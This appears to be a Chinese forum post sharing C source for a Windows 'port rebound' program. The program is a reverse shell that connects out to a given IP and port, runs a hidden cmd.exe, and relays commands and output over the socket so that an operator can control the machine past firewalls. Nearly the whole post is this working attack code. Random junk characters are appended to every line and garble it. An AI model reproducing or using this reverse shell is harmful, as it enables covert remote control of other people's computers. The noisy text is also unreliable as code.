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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t@(:S6d  
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/* ============================== DjLSl,Z  
Rebound port in Windows NT \:mZ)f3K=  
By wind,2006/7 >PbB /->  
===============================*/ V Zz>)Kz:  
#include |7CFm  
#include gI T3A*x  
fvE:'( #?  
#pragma comment(lib,"wsock32.lib") {D{' \]+  
2/dvCt6 N  
void OutputShell(); X;/5Niv32q  
SOCKET sClient; HuI?kLfj\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x*#9\*@EI  
~fF_]UVq3  
void main(int argc,char **argv) '}5Yc,  
{ 9 $&$Fe  
WSADATA stWsaData; fW3 awR{  
int nRet; H13kNhV9  
SOCKADDR_IN stSaiClient,stSaiServer; <*Bk.>f!  
-dyN Ah?=  
if(argc != 3) %G`GdG}T  
{ h_y;NB(w  
printf("Useage:\n\rRebound DestIP DestPort\n"); UJ?qGOM3x>  
return; ^[g7B"`K5  
} SJ8CBxA  
\- f^C}m  
WSAStartup(MAKEWORD(2,2),&stWsaData); NsN =0ff  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &_dM2lj{  
@%b&(x^UD  
stSaiClient.sin_family = AF_INET; ;&} rO.0  
stSaiClient.sin_port = htons(0); [bh8Nj\E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aovw'O\Q  
e-EY]%JO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M "\j7(  
{ ;) XB'  
printf("Bind Socket Failed!\n"); kn9e7OO##  
return; w!--K9  
} "CY#_)  
nXJG4$G  
stSaiServer.sin_family = AF_INET; z@Uf@~+U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HP(dhsd<c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~cH3RFV  
AD>X'J u8  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8Cef ]@x  
{ c`O(||UZT  
printf("Connect Error!"); ! _p(H  
return; :lE_hY  
} zEy,aa :M  
OutputShell(); oY<R[NYKu  
} x2h5,.K  
LK:Jkjp^  
void OutputShell() EWC{896,  
{ []l2 `fS#  
char szBuff[1024]; T*{nf  
SECURITY_ATTRIBUTES stSecurityAttributes; x%RG>),U  
OSVERSIONINFO stOsversionInfo; .I%`yhCW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h/pm$9A  
STARTUPINFO stStartupInfo; Z/G?w D|B  
char *szShell; "ph<V,lg  
PROCESS_INFORMATION stProcessInformation; ;ZoEqMv  
unsigned long lBytesRead; +x]3 - s  
6olJ7`*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); brEA-xNWQ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oM(8'{S=  
stSecurityAttributes.lpSecurityDescriptor = 0; bPA >xAH  
stSecurityAttributes.bInheritHandle = TRUE; F3e1&aK6{  
iHKX#*  
sc&u NfJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'h87 A-\!F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b_Dd$NC  
v3b+Ddp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {Jc.49  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W<u,S  
stStartupInfo.wShowWindow = SW_HIDE; 2 9#jKh  
stStartupInfo.hStdInput = hReadPipe; /m|U2rrqb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p(!d,YSE  
K$KVm^`  
GetVersionEx(&stOsversionInfo); 7yQw$zG,Iz  
#QNa| f#=  
switch(stOsversionInfo.dwPlatformId) {s>V'+H(F  
{ a4&Aw7"X  
case 1: $.x,[R aN  
szShell = "command.com"; 2( U;{;\n*  
break; hgK 4;R  
default: l5/gM[0_7  
szShell = "cmd.exe"; .Ta(v3om%  
break; 8d7 NESYl  
} \Oxyc}&  
nJ}@9v F/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;;|.qgxc~  
K\FLA_J  
send(sClient,szMsg,77,0); /2'l=R5#  
while(1) r+k g$+%b  
{ !Ahxi);a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S,x';"  
if(lBytesRead) ]\y]8v5(  
{ WbwwI)1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p\R&vof*  
send(sClient,szBuff,lBytesRead,0); 6Ey@)p..E  
} O(6j:XD  
else V8#NXU g<!  
{ 6{quO# !  
lBytesRead=recv(sClient,szBuff,1024,0); 5^K\<+{~B  
if(lBytesRead<=0) break; /0o#V-E)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L{rd',  
} ( k,?)  
} fejC ,H4I  
v[r 8-0c  
return; /+1(,S  
}
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